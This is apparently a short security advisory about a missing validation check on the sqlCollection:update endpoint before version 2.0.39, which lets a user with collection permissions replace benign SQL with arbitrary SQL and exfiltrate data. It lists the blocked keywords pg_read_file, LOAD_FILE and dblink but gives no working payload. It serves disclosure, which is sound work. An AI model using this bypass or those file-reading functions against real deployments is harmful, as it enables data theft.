Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
